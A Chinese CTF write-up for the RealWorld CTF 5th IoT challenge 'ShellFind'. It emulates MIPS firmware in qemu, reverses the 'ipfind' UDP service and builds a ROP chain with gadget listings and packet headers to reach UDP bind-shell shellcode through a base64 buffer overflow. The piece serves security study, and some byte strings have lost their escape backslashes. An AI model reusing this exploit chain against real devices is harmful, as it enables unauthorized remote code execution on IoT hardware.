RealWorld CTF 5th 里的一道iot-pwn,根据真实设备固件改编而成,觉得题目贴近iot实战且很有意思,故在此记录一下复现过程。
Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.
从中可以看出漏洞大概率存在于UDP
服务中。
拿到手的是一个bin包
,解压出来可以得到一个完整的文件系统。相比于常规pwn题单一的二进制而言,我们首先要做的是寻找漏洞文件。既然是真实设备改编那我们就可以先在网上找一找官方固件并尝试下载最新版本。
下载到官方的固件后,可以采取bindiff
等方法去找被修改过的二进制文件。可以初步判定漏洞应该是出在ipfind
程序中。
并且发现此固件为mips大端
,且可疑漏洞文件没开保护。
我是直接用qemu
去模拟的这个固件,当然也可以尝试用FirmAE
,firmadyne
,firmware-analysis-plus
等工具去进行模拟。我的qemu
启动脚本如下:
sudo ifconfig ens33 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo qemu-system-mips
-M malta -kernel vmlinux-3.2.0-4-4kc-malta
-hda debian_wheezy_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-net nic,macaddr=00:16:3e:00:00:01
-net tap,ifname=tap0,script=no,downscript=no
-nographic
启动完成之后用scp
把固件包、gdbserver、完整的busybox等传上去。之后用如下命令切换到固件包根目录进行操作:
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
之后通过/etc/rc.d/rcS
初始化服务。
启动完成之后通过./busybox-mips netstat -pantu
去查看开放的端口及对应的二进制文件。
可以看到我们之前分析的可疑文件ipfind
正是UDP
服务,开放端口为62720
。
值得注意的是我们用ps
去查看进程发现执行的是/usr/sbin/ipfind br0
这个命令,但我qemu
的有效网卡是eth0
,这样以后我们会发现无法使用gdbserver
进行调试,故我们要杀死该进程,并执行/usr/sbin/ipfind eth0 &
,这样我们就可以使用gdbserver进行愉快的调试了。
首先是建立socket通信
并绑定到62720端口
,与刚才看到的端口一致。
接着从client端接收数据,并进行一系列的操作。之后会对数据进行一个判断,以此来确定是否进入sub_40172C函数
或sub_4013F4函数
。
想进入这个函数我们可以逆出来它所需接受的内容开头应该为:
header1 = b"FIVI"
header1+= b"x00x00x00x00"
header1+= b"x0Ax01x00x00"
header1+= b"x00x00x00x00"
header1+= b"x00"
header1+= b"xFFxFFxFFxFFxFFxFF"
header1+= b"x00x00"
header1+= b"x00x00x00x00"
这个函数会调用sub_400E50
得到net_get_hwaddr(ifname, a1 + 17)
,实际上就是mac addr
(qemu
启动时可以进行设置,之后打印出来对比一下即可),并把它发送到client端
。这个值对于我们进入第二个函数必不可少。
想进入这个函数我们可以逆出来它所需接受的内容开头应该为:
header2 = b"FIVI"
header2+= b"x00x00x00x00"
header2+= b"x0Ax02x00x00"
header2+= b"x00x00x00x00"
header2+= b"x00"
header2+= mac
header2+= b"x00x00"
header2+= b"x8Ex00x00x00"
进入这个函数后,我们即可找到我们的漏洞函数sub_400F50
,这个函数有两次base64 decode
,第二次解码时会发生缓冲区溢出。
漏洞利用
因为没开保护,我们布置好rop
跳到shellcode
上即可。但是我们由于没有libc
地址,我们需要花费一定时间在ipfind
这个文件里去找gadgets
进行利用。
我们想要跳转到shellcode
上执行,那么我们就需要可以泄露栈地址的gadget
,于是我们找到了如下的gadget
来泄露栈地址:
.text:004013D0 sub_4013D0: # CODE XREF: sub_4013F4+9C↓p
.text:004013D0 # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0 var_8 = -8
.text:004013D0 arg_4 = 4
.text:004013D0 arg_8 = 8
.text:004013D0 arg_C = 0xC
.text:004013D0
.text:004013D0 addiu $sp, -0x10
.text:004013D4 sw $a1, 0x10+arg_4($sp)
.text:004013D8 sw $a2, 0x10+arg_8($sp)
.text:004013DC sw $a3, 0x10+arg_C($sp)
.text:004013E0 addiu $v0, $sp, 0x10+arg_4
.text:004013E4 sw $v0, 0x10+var_8($sp)
.text:004013E8 addiu $sp, 0x10
.text:004013EC jr $ra
.text:004013F0 nop
这个gadget
可以控制v0
为栈地址,我们向上交叉引用找到一个既能控制ra
又不改变v0
的gadget
下:
.text:00401F98 jal sub_4013D0
.text:00401F9C li $a0, aCanTGetHelloSo # "Can't get hello socketn"
.text:00401FA0 b loc_4020B4
.text:00401FA4 nop
.text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4 # sub_401DF4+238↑j ...
.text:004020B4 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 lw $s1, 0x7C+var_s4($sp)
.text:004020BC lw $s0, 0x7C+var_s0($sp)
.text:004020C0 jr $ra
.text:004020** addiu $sp, 0x88
但是在走这条gadget
之前我们得先恢复gp
寄存器,并且还要考虑到a1,a2,a3
寄存器对栈的影响,最好可以控制为nop
指令,以免对刚才泄露出来的栈地址上指令造成影响。
.text:00401218 lw $gp, 0x9C+var_8C($sp)
.text:0040121C la $t9, close
.text:00401220 jalr $t9 ; close
.text:00401224 move $a0, $s0 # fd
.text:00401228 move $v0, $zero
.text:0040122C
.text:0040122C loc_40122C: # CODE XREF: sub_401120+80↑j
.text:0040122C # sub_401120+A0↑j
.text:0040122C lw $ra, 0x9C+var_s8($sp)
.text:00401230 lw $s1, 0x9C+var_s4($sp)
.text:00401234 lw $s0, 0x9C+var_s0($sp)
.text:00401238 jr $ra
.text:0040123C addiu $sp, 0xA8
接着可以找到如下gadget
使得可以跳转到S0
寄存器存指向的地址中:
.text:004027C0 loc_4027C0: # CODE XREF: sub_402790+3C↓j
.text:004027C0 jalr $t9
.text:004027** nop
.text:004027C8
.text:004027C8 loc_4027C8: # CODE XREF: sub_402790+28↑j
.text:004027C8 lw $t9, 0($s0)
.text:004027CC bne $t9, $s1, loc_4027C0
.text:004027D0 addiu $s0, -4
.text:004027D4 lw $ra, 0x1C+var_s8($sp)
.text:004027D8 lw $s1, 0x1C+var_s4($sp)
.text:004027DC lw $s0, 0x1C+var_s0($sp)
.text:004027E0 jr $ra
.text:004027E4 addiu $sp, 0x28
最后找一个可以把v0
赋给任意地址,并且可以控制s0
的gadget
即可:
.text:00400F28 sw $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j
.text:00400F2C la $v0, ifname
.text:00400F30 lw $a0, (ifname - 0x413138)($v0)
.text:00400F34 la $t9, net_get_hwaddr
.text:00400F38 jalr $t9 ; net_get_hwaddr
.text:00400F3C addiu $a1, $s0, 0x11
.text:00400F40 lw $ra, 0x20+var_s4($sp)
.text:00400F44 lw $s0, 0x20+var_s0($sp)
.text:00400F48 jr $ra
.text:00400F4C addiu $sp, 0x28
最后跟上一个udp_bind_shell
的shellcode
即可。布置完rop
经过调试可知我们还需要写一个短跳转指令我用的短跳转指令是"x10x00x00x30" # b 0x**
,使得我们能够从泄露的栈地址跳转到我们的shellcode
处。
完整exploit见:https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py
https://mp.weixin.qq.com/s/Wb7SMy8AHtiv71kroHEHsQ
本文作者:ChaMd5安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/195239.html